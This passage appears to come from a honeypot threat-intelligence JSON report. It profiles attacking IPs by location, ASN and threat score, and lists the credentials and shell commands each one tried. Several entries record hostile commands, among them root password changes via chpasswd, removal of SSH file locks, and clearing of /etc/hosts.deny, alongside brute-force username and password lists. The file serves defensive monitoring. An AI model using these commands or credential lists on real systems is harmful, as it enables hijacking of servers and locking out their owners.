        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Morocco",
      "country_code": "MA",
      "city": "Tangier",
      "asn": 36925,
      "as_org": "ASMedi",
      "threat_score": 36.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 289,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-29T01:26:01.389000+00:00",
        "last_seen_30d": "2026-04-29T02:18:00.090000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 219,
        "Suricata": 70
      }
    },
    "91.80.129.69": {
      "attack_count": 219,
      "first_seen": "2026-04-29T05:36:12.684Z",
      "last_seen": "2026-04-29T06:08:10.505Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "mysql",
        "postgres",
        "test",
        "345gs5662d34",
        "aitest",
        "alfresco",
        "ali",
        "esuser",
        "ftptest",
        "guest",
        "joe",
        "minecraft",
        "oracle",
        "smbtest",
        "testtest",
        "testuser",
        "ts3s",
        "user"
      ],
      "passwords_attempted": [
        "123",
        "1qaz\"WSX",
        "1qaz@WSX#EDC",
        "222222",
        "3",
        "3245gs5662d34",
        "345gs5662d34",
        "54",
        "654321",
        "@test",
        "Aa123456",
        "P@ssw0rd123456",
        "Qwerty",
        "admin",
        "admin@13",
        "admin@@",
        "aitest",
        "esuser",
        "m1n3craft",
        "mysql2021"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"zaq1xsw2cde3\\n0F8enBkpYsgC\\n0F8enBkpYsgC\\n\"|passwd",
        "echo -e \"zaq1xsw2cde3\\n0F8enBkpYsgC\\n0F8enBkpYsgC\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Italy",
      "country_code": "IT",
      "city": null,
      "asn": 30722,
      "as_org": "Fastweb",
      "threat_score": 36.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 290,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-29T05:36:12.684000+00:00",
        "last_seen_30d": "2026-04-29T06:09:14.593000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 219,
        "Suricata": 71
      }
    },
    "201.49.108.245": {
      "attack_count": 213,
      "first_seen": "2026-04-30T04:56:25.045Z",
      "last_seen": "2026-04-30T07:33:22.469Z",
      "sessions": 31,
      "ports": [],
      "usernames_attempted": [
        "ubuntu",
        "admin",
        "ftpadmin",
        "postgres",
        "345gs5662d34",
        "Ubuntu",
        "ali",
        "andy",
        "bitrix",
        "ec2-user",
        "ftp_user",
        "ftpuser1",
        "fuser",
        "oracle",
        "postgres2",
        "proxyuser",
        "root",
        "test",
        "user",
        "username1"
      ],
      "passwords_attempted": [
        "123456",
        "0",
        "1",
        "111111",
        "123123",
        "12345",
        "123456a",
        "1a2b3c!@#",
        "1qaz3edc",
        "3245gs5662d34",
        "345gs5662d34",
        "99999999",
        "M45uys51!",
        "P@$$w0rd1234",
        "P@$$word",
        "P@ssw9rd",
        "Pa$$w0rd",
        "admin",
        "admin`123",
        "dinamo"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"12345\\nXnVyzNi4Cyqx\\nXnVyzNi4Cyqx\\n\"|passwd",
        "echo -e \"12345\\nXnVyzNi4Cyqx\\nXnVyzNi4Cyqx\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "S\u00e3o Paulo",
      "asn": 16735,
      "as_org": "ALGAR TELECOM SA",
      "threat_score": 37.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 283,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T04:56:25.045000+00:00",
        "last_seen_30d": "2026-04-30T07:34:31.752000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 213,
        "Suricata": 70
      }
    },
    "103.119.94.10": {
      "attack_count": 193,
      "first_seen": "2026-04-19T15:52:36.624Z",
      "last_seen": "2026-04-19T16:36:14.813Z",
      "sessions": 27,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "345gs5662d34",
        "developer",
        "ftpuser",
        "ivan",
        "jim",
        "loguser",
        "milan",
        "server",
        "test",
        "testuser",
        "vivi"
      ],
      "passwords_attempted": [
        "1029384756",
        "123456",
        "12345678",
        "2026.com",
        "3245gs5662d34",
        "345gs5662d34",
        "Ab147258",
        "Abcd1234567@#",
        "Login@123",
        "Password@2022",
        "QQzz1234",
        "Qaz123wsx",
        "Qazwsx111@",
        "TestUser",
        "aaDD000",
        "bbZZ112233",
        "dev",
        "diamond",
        "ftppasswd",
        "jim"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:UdoRdyXy7DOV\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Bangladesh",
      "country_code": "BD",
      "city": "Mymensingh",
      "asn": 137987,
      "as_org": "Md. Shohidul Islam TA SK Link",
      "threat_score": 23.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 256,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-19T15:52:36.624000+00:00",
        "last_seen_30d": "2026-04-19T16:37:21.141000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 193,
        "Suricata": 63
      }
    },
    "203.150.107.244": {
      "attack_count": 193,
      "first_seen": "2026-04-10T06:31:21.991Z",
      "last_seen": "2026-04-10T07:15:38.758Z",
      "sessions": 27,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "345gs5662d34",
        "dev",
        "fengkai",
        "frappe",
        "guest",
        "martin",
        "n8n",
        "oracle",
        "postgres",
        "samba",
        "user",
        "user2",
        "valentin",
        "vlad"
      ],
      "passwords_attempted": [
        "123",
        "1234",
        "1234Qwer!",
        "3245gs5662d34",
        "345gs5662d34",
        "Admin001",
        "Dell@123",
        "Frappe29",
        "Lol12345",
        "P@ssw0rd.1",
        "QQcc1234",
        "QWERTY2024!",
        "Qazwsx123456@",
        "Qq112233!",
        "Qwe123...",
        "Root123456!",
        "User24!",
        "dev07",
        "fengkai123",
        "martin"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:vfP0Olz75q7F\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Thailand",
      "country_code": "TH",
      "city": "Pattaya",
      "asn": 4618,
      "as_org": "Internet Thailand Company Limited",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 256,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-10T06:31:21.991000+00:00",
        "last_seen_30d": "2026-04-10T07:16:40.022000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 193,
        "Suricata": 63
      }
    },
    "3.134.216.108": {
      "attack_count": 119,
      "first_seen": "2026-04-02T04:41:56.248Z",
      "last_seen": "2026-04-24T14:27:15.379Z",
      "sessions": 35,
      "ports": [],
      "usernames_attempted": [
        "GET / HTTP/1.1",
        "User-Agent: visionheight.com/scan Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Chrome/126.0.0.0 Safari/537.36",
        "Accept-Encoding: gzip"
      ],
      "passwords_attempted": [
        "Accept: */*",
        "Host: 172.105.186.117:23",
        ""
      ],
      "commands_executed": [
        "Accept-Encoding: gzip",
        ""
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Columbus",
      "asn": 16509,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 100,
      "threat_level": "critical",
      "score_components": {
        "frequency": 30,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 5684,
        "days_active_30d": 30,
        "ports_targeted_30d": 148,
        "honeypots_triggered_30d": 12,
        "first_seen_30d": "2026-04-01T18:01:54+00:00",
        "last_seen_30d": "2026-04-30T17:32:08.359000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 3679,
        "Honeytrap": 1513,
        "Dionaea": 126,
        "Cowrie": 119,
        "Redishoneypot": 95,
        "Mailoney": 82,
        "ConPot": 48,
        "Ipphoney": 7,
        "ElasticPot": 6,
        "Tanner": 6,
        "Ciscoasa": 2,
        "H0neytr4p": 1
      }
    },
    "52.250.210.65": {
      "attack_count": 115,
      "first_seen": "2026-04-21T16:51:04.099Z",
      "last_seen": "2026-04-21T17:59:32.518Z",
      "sessions": 23,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "1",
        "1234567",
        "12345678",
        "1234567890",
        "2",
        "2222",
        "3333",
        "33333",
        "44",
        "44444444",
        "5",
        "55",
        "555",
        "55555555",
        "66666",
        "7777",
        "8",
        "88",
        "888888",
        "987654321"
      ],
      "commands_executed": [
        "uptime"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "San Jose",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 24.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 182,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-21T16:41:57.406000+00:00",
        "last_seen_30d": "2026-04-21T18:00:36.113000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 115,
        "Suricata": 67
      }
    },
    "189.203.163.10": {
      "attack_count": 93,
      "first_seen": "2026-04-26T10:58:17.269Z",
      "last_seen": "2026-04-26T11:12:51.151Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "0102",
        "1234.Admin",
        "1942",
        "1pass",
        "3245gs5662d34",
        "345gs5662d34",
        "Admin321",
        "Admin@2026",
        "QW1234",
        "Z1x2c3v4",
        "ZX123",
        "admin12345",
        "chris",
        "pass.123",
        "qwert.123",
        "user32",
        "verizon123"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params",
        "cowrie.command.failed"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "Benito Juarez",
      "asn": 22884,
      "as_org": "TOTAL PLAY TELECOMUNICACIONES SA DE CV",
      "threat_score": 29.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 130,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-26T10:58:17.269000+00:00",
        "last_seen_30d": "2026-04-26T11:13:52.884000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 93,
        "Suricata": 37
      }
    },
    "85.87.1.47": {
      "attack_count": 78,
      "first_seen": "2026-04-06T05:19:22.739Z",
      "last_seen": "2026-04-06T05:21:05.818Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "S123456",
        "pedro123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:yAYeJ8ctj84N\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Spain",
      "country_code": "ES",
      "city": "Barcelona",
      "asn": 15704,
      "as_org": "Xtra Telecom S.A.",
      "threat_score": 6.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 19.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 87,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-06T05:19:22.739000+00:00",
        "last_seen_30d": "2026-04-06T05:22:10.296000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 78,
        "Suricata": 9
      }
    },
    "103.204.129.219": {
      "attack_count": 72,
      "first_seen": "2026-04-30T12:02:15.678Z",
      "last_seen": "2026-04-30T12:04:38.297Z",
      "sessions": 36,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 55293,
      "as_org": "A2 Hosting, Inc.",
      "threat_score": 33.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 20.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 109,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T12:02:15.678000+00:00",
        "last_seen_30d": "2026-04-30T12:05:41.690000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 72,
        "Suricata": 37
      }
    },
    "34.78.193.15": {
      "attack_count": 72,
      "first_seen": "2026-04-07T10:30:28.328Z",
      "last_seen": "2026-04-07T10:31:01.646Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "*1",
        "GET / HTTP/1.1",
        "OPTIONS rtsp://example.com RTSP/1.0",
        "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36",
        "b'\\xde\\xe9\\x16\\x1b\\x95\\xf0\\xae}'"
      ],
      "passwords_attempted": [
        "",
        "$4",
        "Accept-Encoding: gzip",
        "Cseq: 9869",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [
        ""
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 7.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 20.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 113,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-07T10:30:28.328000+00:00",
        "last_seen_30d": "2026-04-07T10:32:11.541000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 72,
        "Suricata": 41
      }
    },
    "34.38.122.178": {
      "attack_count": 71,
      "first_seen": "2026-04-27T03:25:02.013Z",
      "last_seen": "2026-04-27T03:25:50.158Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "*1",
        "GET / HTTP/1.1",
        "OPTIONS rtsp://example.com RTSP/1.0",
        "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36"
      ],
      "passwords_attempted": [
        "$4",
        "Accept-Encoding: gzip",
        "Cseq: 9305",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [
        ""
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 30.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 20.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 112,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-27T03:25:02.013000+00:00",
        "last_seen_30d": "2026-04-27T03:26:59.200000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 71,
        "Suricata": 41
      }
    },
    "34.77.234.187": {
      "attack_count": 71,
      "first_seen": "2026-04-07T11:54:53.742Z",
      "last_seen": "2026-04-07T11:55:49.278Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "*1",
        "GET / HTTP/1.1",
        "OPTIONS rtsp://example.com RTSP/1.0",
        "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36"
      ],
      "passwords_attempted": [
        "$4",
        "Accept-Encoding: gzip",
        "Cseq: 901",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [
        ""
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 7.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 20.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 112,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-07T11:54:53.742000+00:00",
        "last_seen_30d": "2026-04-07T11:56:59.524000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 71,
        "Suricata": 41
      }
    },
    "34.77.61.43": {
      "attack_count": 71,
      "first_seen": "2026-04-28T06:05:52.733Z",
      "last_seen": "2026-04-28T06:06:40.937Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "*1",
        "GET / HTTP/1.1",
        "OPTIONS rtsp://example.com RTSP/1.0",
        "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36"
      ],
      "passwords_attempted": [
        "$4",
        "Accept-Encoding: gzip",
        "Cseq: 4316",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [
        ""
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 31.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 20.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 112,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-28T06:05:52.733000+00:00",
        "last_seen_30d": "2026-04-28T06:07:50.365000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 71,
        "Suricata": 41
      }
    },
    "103.113.134.154": {
      "attack_count": 68,
      "first_seen": "2026-04-23T03:17:27.219Z",
      "last_seen": "2026-04-25T21:00:15.402Z",
      "sessions": 10,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "rootadmin",
        "R@@t",
        "r@@t",
        "root",
        "rootroot",
        "roottoor",
        "toor",
        "toortoor"
      ],
      "commands_executed": [
        "",
        "?",
        "ls",
        "cd ~",
        "> a6s87d6as8zdgtdyas.ini",
        "exit"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.client.size",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 4787,
      "as_org": "PT Cyberindo Aditama",
      "threat_score": 28.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 19.9,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 97,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-23T03:17:27.219000+00:00",
        "last_seen_30d": "2026-04-25T21:01:17.115000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 68,
        "Suricata": 29
      }
    },
    "14.103.126.73": {
      "attack_count": 68,
      "first_seen": "2026-04-24T04:58:41.312Z",
      "last_seen": "2026-04-24T06:27:35.533Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [
        "ubuntu",
        "n8n",
        "postgres",
        "root",
        "teamspeak"
      ],
      "passwords_attempted": [
        "Aa123456.",
        "N8n07",
        "Teamspeak!2026",
        "Ubuntu@2026",
        "a123456789!",
        "zaq12wsx"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4811,
      "as_org": "China Telecom Group",
      "threat_score": 26.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 20.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 111,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-24T04:58:41.312000+00:00",
        "last_seen_30d": "2026-04-24T06:37:37.361000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 68,
        "Suricata": 43
      }
    },
    "124.29.194.207": {
      "attack_count": 50,
      "first_seen": "2026-04-24T02:07:12.932Z",
      "last_seen": "2026-04-24T02:12:37.380Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Multan",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
